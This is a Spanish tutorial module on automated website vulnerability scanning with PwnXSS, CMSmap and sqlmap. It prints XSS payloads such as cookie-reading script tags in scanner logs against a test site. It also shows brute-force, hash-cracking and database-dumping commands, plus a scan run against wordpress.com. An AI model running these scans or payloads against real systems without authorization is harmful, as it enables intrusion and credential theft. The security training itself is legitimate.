Tabla de Contenidos
Detectar vulnerabilidades en sitios web con herramientas automáticas
Módulo perteneciente al curso Python avanzado para proyectos de seguridad
Dentro del ecosistema de python disponemos de diferentes herramientas desarrolladas que tienen como objetivo analizar un sitio web en búsqueda de vulnerabilidades.
Además de las que vamos a evaluar, OWASP mantiene una de las mejores listas de escáneres de vulnerabilidades. Estos escáneres de vulnerabilidades tienen la capacidad de automatizar la auditoría de seguridad y el escaneo de su red y sitios web en busca de diferentes riesgos de seguridad siguientes Mejores prácticas de OWASP.
Escáner de vulnerabilidades XSS para python 3.7
PwnXSS se trata de un script desarrollado para python 3.7 que tiene como dependencias principales BeautifulSoup y requests.
La herramienta partir de un sitio web que le pasamos como parámetro y de forma automática va probando con diferentes payloads para determinado si un dominio es vulnerable a XSS
Principales características:
- Rastrear todos los enlaces en un sitio web.
- Manejo avanzado de errores.
- Soporte multiprocesamiento.
Ejecución:
$ python3 pwnxss.py --help
Ejecución pwnxss sobre dominio vulnerable
$ python3 pwnxss.py -u http://testphp.vulnweb.com
Al realizar pruebas sobre el dominio testphp.vulnweb.com vemos como ha detectado diferentes vulnerabilidades XSS al probar con un payload donde está inyecto un código javascript en uno de los parámetros de la consulta.
Actividad práctica: Realizar pruebas de detección de XSS sobre un sitio web utilizando el script en python PwnXSS
Analizar las vulnerabilidades XSS del sitio http://testhtml5.vulnweb.com/
Podríamos utilizar el script PwnXSS para automatizar el proceso de encontrar vulnerabilidades XSS
Solución
$ python3 pwnxss.py -u http://testhtml5.vulnweb.com
██████╗ ██╗ ██╗███╗ ██╗██╗ ██╗███████╗███████╗
██╔â•â•██╗██║ ██║████╗ ██║╚██╗██╔â•██╔â•â•â•â•â•██╔â•â•â•â•â•
██████╔â•██║ █╗ ██║██╔██╗ ██║ ╚███╔╠███████╗███████╗ {v0.5 Final}
██╔â•â•â•╠██║███╗██║██║╚██╗██║ ██╔██╗ ╚â•â•â•â•██║╚â•â•â•â•██║ https://github.com/pwn0sec/PwnXSS
██║ ╚███╔███╔â•██║ ╚████║██╔╠██╗███████║███████║
╚â•╠╚â•â•â•╚â•â•╠╚â•╠╚â•â•â•â•╚â•╠╚â•â•╚â•â•â•â•â•â•â•╚â•â•â•â•â•â•â•
<<<<<<< STARTING >>>>>>>
[00:44:24] [INFO] Starting PwnXSS...
***************
[00:44:24] [INFO] Checking connection to: http://testhtml5.vulnweb.com
[00:44:24] [INFO] Connection estabilished 200
[00:44:24] [WARNING] Target have form with POST method: http://testhtml5.vulnweb.com/login
[00:44:24] [INFO] Collecting form input key.....
[00:44:24] [INFO] Form key name: username value: <script>prompt(document.cookie)</script>
[00:44:24] [INFO] Form key name: password value: <script>prompt(document.cookie)</script>
[00:44:24] [INFO] Sending payload (POST) method...
[00:44:24] [CRITICAL] Detected XSS (POST) at http://testhtml5.vulnweb.com/
[00:44:24] [CRITICAL] Post data: {'username': '<script>prompt(document.cookie)</script>', 'password': '<script>prompt(document.cookie)</script>'}
***************
[00:44:24] [INFO] Checking connection to: http://testhtml5.vulnweb.com#myModal
[00:44:24] [INFO] Connection estabilished 200
[00:44:24] [WARNING] Target have form with POST method: http://testhtml5.vulnweb.com/login
[00:44:24] [INFO] Collecting form input key.....
[00:44:24] [INFO] Form key name: username value: <script>prompt(5000/200)</script>
[00:44:24] [INFO] Form key name: password value: <script>prompt(5000/200)</script>
[00:44:24] [INFO] Sending payload (POST) method...
[00:44:24] [CRITICAL] Detected XSS (POST) at http://testhtml5.vulnweb.com/
[00:44:24] [CRITICAL] Post data: {'username': '<script>prompt(5000/200)</script>', 'password': '<script>prompt(5000/200)</script>'}
***************
[00:44:25] [INFO] Checking connection to: http://testhtml5.vulnweb.com#/popular
[00:44:25] [INFO] Connection estabilished 200
[00:44:25] [WARNING] Target have form with POST method: http://testhtml5.vulnweb.com/login
[00:44:25] [INFO] Collecting form input key.....
[00:44:25] [INFO] Form key name: username value: <script>prompt(5000/200)</script>
[00:44:25] [INFO] Form key name: password value: <script>prompt(5000/200)</script>
[00:44:25] [INFO] Sending payload (POST) method...
[00:44:25] [CRITICAL] Detected XSS (POST) at http://testhtml5.vulnweb.com/
[00:44:25] [CRITICAL] Post data: {'username': '<script>prompt(5000/200)</script>', 'password': '<script>prompt(5000/200)</script>'}
***************
[00:44:25] [INFO] Checking connection to: http://testhtml5.vulnweb.com#/latest
[00:44:25] [INFO] Connection estabilished 200
[00:44:25] [WARNING] Target have form with POST method: http://testhtml5.vulnweb.com/login
[00:44:25] [INFO] Collecting form input key.....
[00:44:25] [INFO] Form key name: username value: <script>prompt(5000/200)</script>
[00:44:25] [INFO] Form key name: password value: <script>prompt(5000/200)</script>
[00:44:25] [INFO] Sending payload (POST) method...
[00:44:25] [CRITICAL] Detected XSS (POST) at http://testhtml5.vulnweb.com/
[00:44:25] [CRITICAL] Post data: {'username': '<script>prompt(5000/200)</script>', 'password': '<script>prompt(5000/200)</script>'}
***************
[00:44:25] [INFO] Checking connection to: http://testhtml5.vulnweb.com#/carousel
[00:44:26] [INFO] Connection estabilished 200
[00:44:26] [WARNING] Target have form with POST method: http://testhtml5.vulnweb.com/login
[00:44:26] [INFO] Collecting form input key.....
[00:44:26] [INFO] Form key name: username value: <script>prompt(5000/200)</script>
[00:44:26] [INFO] Form key name: password value: <script>prompt(5000/200)</script>
[00:44:26] [INFO] Sending payload (POST) method...
[00:44:26] [CRITICAL] Detected XSS (POST) at http://testhtml5.vulnweb.com/
[00:44:26] [CRITICAL] Post data: {'username': '<script>prompt(5000/200)</script>', 'password': '<script>prompt(5000/200)</script>'}
***************
[00:44:26] [INFO] Checking connection to: http://testhtml5.vulnweb.com#/archive
[00:44:26] [INFO] Connection estabilished 200
[00:44:26] [WARNING] Target have form with POST method: http://testhtml5.vulnweb.com/login
[00:44:26] [INFO] Collecting form input key.....
[00:44:26] [INFO] Form key name: username value: <script>prompt(5000/200)</script>
[00:44:26] [INFO] Form key name: password value: <script>prompt(5000/200)</script>
[00:44:26] [INFO] Sending payload (POST) method...
[00:44:26] [CRITICAL] Detected XSS (POST) at http://testhtml5.vulnweb.com/
[00:44:26] [CRITICAL] Post data: {'username': '<script>prompt(5000/200)</script>', 'password': '<script>prompt(5000/200)</script>'}
***************
[00:44:26] [INFO] Checking connection to: http://testhtml5.vulnweb.com#/about
[00:44:27] [INFO] Connection estabilished 200
[00:44:27] [WARNING] Target have form with POST method: http://testhtml5.vulnweb.com/login
[00:44:27] [INFO] Collecting form input key.....
[00:44:27] [INFO] Form key name: username value: <script>prompt(5000/200)</script>
[00:44:27] [INFO] Form key name: password value: <script>prompt(5000/200)</script>
[00:44:27] [INFO] Sending payload (POST) method...
[00:44:27] [CRITICAL] Detected XSS (POST) at http://testhtml5.vulnweb.com/
[00:44:27] [CRITICAL] Post data: {'username': '<script>prompt(5000/200)</script>', 'password': '<script>prompt(5000/200)</script>'}
***************
[00:44:27] [INFO] Checking connection to: http://testhtml5.vulnweb.com#/contact
[00:44:27] [INFO] Connection estabilished 200
[00:44:27] [WARNING] Target have form with POST method: http://testhtml5.vulnweb.com/login
[00:44:27] [INFO] Collecting form input key.....
[00:44:27] [INFO] Form key name: username value: <script>prompt(5000/200)</script>
[00:44:27] [INFO] Form key name: password value: <script>prompt(5000/200)</script>
[00:44:27] [INFO] Sending payload (POST) method...
[00:44:27] [CRITICAL] Detected XSS (POST) at http://testhtml5.vulnweb.com/
[00:44:27] [CRITICAL] Post data: {'username': '<script>prompt(5000/200)</script>', 'password': '<script>prompt(5000/200)</script>'}
***************
[00:44:27] [INFO] Checking connection to: http://testhtml5.vulnweb.com
[00:44:27] [INFO] Connection estabilished 200
[00:44:27] [WARNING] Target have form with POST method: http://testhtml5.vulnweb.com/login
[00:44:27] [INFO] Collecting form input key.....
[00:44:27] [INFO] Form key name: username value: <script>prompt(5000/200)</script>
[00:44:27] [INFO] Form key name: password value: <script>prompt(5000/200)</script>
[00:44:27] [INFO] Sending payload (POST) method...
[00:44:28] [CRITICAL] Detected XSS (POST) at http://testhtml5.vulnweb.com/
[00:44:28] [CRITICAL] Post data: {'username': '<script>prompt(5000/200)</script>', 'password': '<script>prompt(5000/200)</script>'}
Escáner de vulnerabilidades en sitios web CSM
CMSmap es una herramienta open source escrita en Python diseñada especialmente para buscar posibles vulnerabilidades en todo tipo de portales que utilicen los CMS más utilizados como Joomla, Drupal o WordPress. De forma automática, esta herramienta detectará la plataforma que está siendo utilizada y lanzará una serie de test para comprobar la seguridad de la misma y notificar al administrador en caso de detectar posibles vulnerabilidades en diferentes componentes como plugins, usuarios y contraseñas por defecto.
Esta herramienta es muy fácil de usar y con algunos conocimientos en seguridad podemos auditar un sitio web que esté usando alguno de los CMS soportados. La instalación es muy simple, clonando el repositorio oficial:
$ git clone https://github.com/Dionach/CMSmap.git
CMSmap trabaja escaneando el CMS y sus módulos o plugins en busca de vulnerabilidades, para ello se vale de la base de datos disponible en exploit-db.com. Para ver todas las opciones de la herramienta lo hacemos con la opción -h o --help.
Exploit: Nombre con el que se identifica un programa informático malicioso, o parte del programa, que trata de forzar alguna deficiencia o vulnerabilidad de otro programa. El fin puede ser la destrucción o inhabilitación del sistema atacado, aunque normalmente se trata de violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros. Los exploits se pueden caracterizar según las categorías de vulnerabilidades utilizadas para su ataque.
$ python3 cmsmap.py -h
usage: cmsmap.py [-f W/J/D/M] [-F] [-t] [-a] [-H] [-i] [-o] [-E] [-c] [-s]
[-d] [-u] [-p] [-x] [-k] [-w] [-v] [-h] [-D] [-U]
[target]
CMSmap tool v1.0 - Simple CMS Scanner
Author: Mike Manzotti
Scan:
target target URL (e.g. 'https://example.com:8080/')
-f W/J/D/M, --force W/J/D/M
force scan (W)ordpress, (J)oomla or (D)rupal or (M)oodle
-F, --fullscan full scan using large plugin lists. False positives and slow!
-t , --threads number of threads (Default 5)
-a , --agent set custom user-agent
-H , --header add custom header (e.g. 'Authorization: Basic ABCD...')
-i , --input scan multiple targets listed in a given file
-o , --output save output in a file
-E, --noedb enumerate plugins without searching exploits
-c, --nocleanurls disable clean urls for Drupal only
-s, --nosslcheck don't validate the server's certificate
-d, --dictattack run low intense dictionary attack during scanning (5 attempts per user)
Brute-Force:
-u , --usr username or username file
-p , --psw password or password file
-x, --noxmlrpc brute forcing WordPress without XML-RPC
Post Exploitation:
-k , --crack password hashes file (Require hashcat installed. For WordPress and Joomla only)
-w , --wordlist wordlist file
Others:
-v, --verbose verbose mode (Default false)
-h, --help show this help message and exit
-D, --default run CMSmap with default options
-U , --update use (C)MSmap, (P)lugins or (PC) for both
Ejemplos de ejecución con python 3:
$ python3 cmsmap.py https://example.com $ python3 cmsmap.py https://example.com -f W -F --noedb -d $ python3 cmsmap.py https://example.com -i targets.txt -o output.txt $ python3 cmsmap.py https://example.com -u admin -p passwords.txt $ python3 cmsmap.py -k hashes.txt -w passwords.txt
Ejecución de cmsmap en python3
La ejecución con python3 se puede realizar pasando como parámetro el sitio a escanear junto con el tipo de escaneo(-F corresponde a escaneo completo o full scan).
$ python3 cmsmap.py -F <sitio_web>
En la siguiente ejecución se observa que verifica, cual es el CMS realizando un banner grabing y vulnerabilidades detectadas en algunos de los plugins que está utilizando el sitio.
$ python3 cmsmap.py -F http://www.wordpress.com [I] Threads: 5 [-] Target: http://www.wordpress.com (192.0.78.12) [M] Website Not in HTTPS: http://www.wordpress.com [I] Server: nginx [L] X-Frame-Options: Not Enforced [I] X-Content-Security-Policy: Not Enforced [I] X-Content-Type-Options: Not Enforced [L] Robots.txt Found: http://www.wordpress.com/robots.txt [I] CMS Detection: WordPress [I] Wordpress Theme: h4 [M] EDB-ID: 11458 "WordPress Plugin Copperleaf Photolog 0.16 - SQL Injection" [M] EDB-ID: 39536 "WordPress Theme SiteMile Project 2.0.9.5 - Multiple Vulnerabilities"
Posteriormente,lo que hace es detectar ficheros wordpress por defecto y buscar determinados directorios:
[-] Default WordPress Files: [I] http://www.wordpress.com/wp-content/themes/twentyten/license.txt [I] http://www.wordpress.com/wp-content/themes/twentyten/readme.txt [I] http://www.wordpress.com/wp-includes/ID3/license.commercial.txt [I] http://www.wordpress.com/wp-includes/ID3/license.txt [I] http://www.wordpress.com/wp-includes/ID3/readme.txt [I] http://www.wordpress.com/wp-includes/images/crystal/license.txt [I] http://www.wordpress.com/wp-includes/js/plupload/license.txt [I] http://www.wordpress.com/wp-includes/js/tinymce/license.txt [-] Checking interesting directories/files ... [L] http://www.wordpress.com/help.txt [L] http://www.wordpress.com/menu.txt
Vemos que, además de los usuarios, archivos por defecto, busca también plugins y directorios interesantes.
Por otro lado, teniendo el usuario, podemos intentar ataques por diccionario o fuerza bruta, ofreciendo la posibilidad de realizar un ataque por diccionario, seleccionando nosotros el que fichero que queramos de usuarios y passwords.
Para ello vemos que podemos usar las opciones de fuerza bruta:
Brute-Force:
-u , --usr username or username file
-p , --psw password or password file
-x, --noxmlrpc brute forcing WordPress without XML-RPC </div></div></div>
Por defecto, un escaneo convencional de CMSmap crea 5 hilos o threads desde los que analiza el sistema seleccionado. Este número se puede limitar para evitar que durante el escaneo puedan ocurrir ataques DoS. El número de hilos también podría ser mayor, lo cual aumenta el riesgo de producir una denegación de servicio, a cambio se reduce el tiempo de escaneo.
FAQ
¿Qué información hay que proporcionar a sqlmap para obtener las tablas de un sitio web?
Lo más importante primero es detectar aquella página y parámetro de consulta que pueda ser vulnerable,para ello hay que analizar el sitio en búsqueda de formularios de login o de búsqueda con el que interactuar.
Una vez identificado este script podríamos ejecutar el siguiente comando para obtener las bases de datos:
sqlmap -u <sitio> --dbs


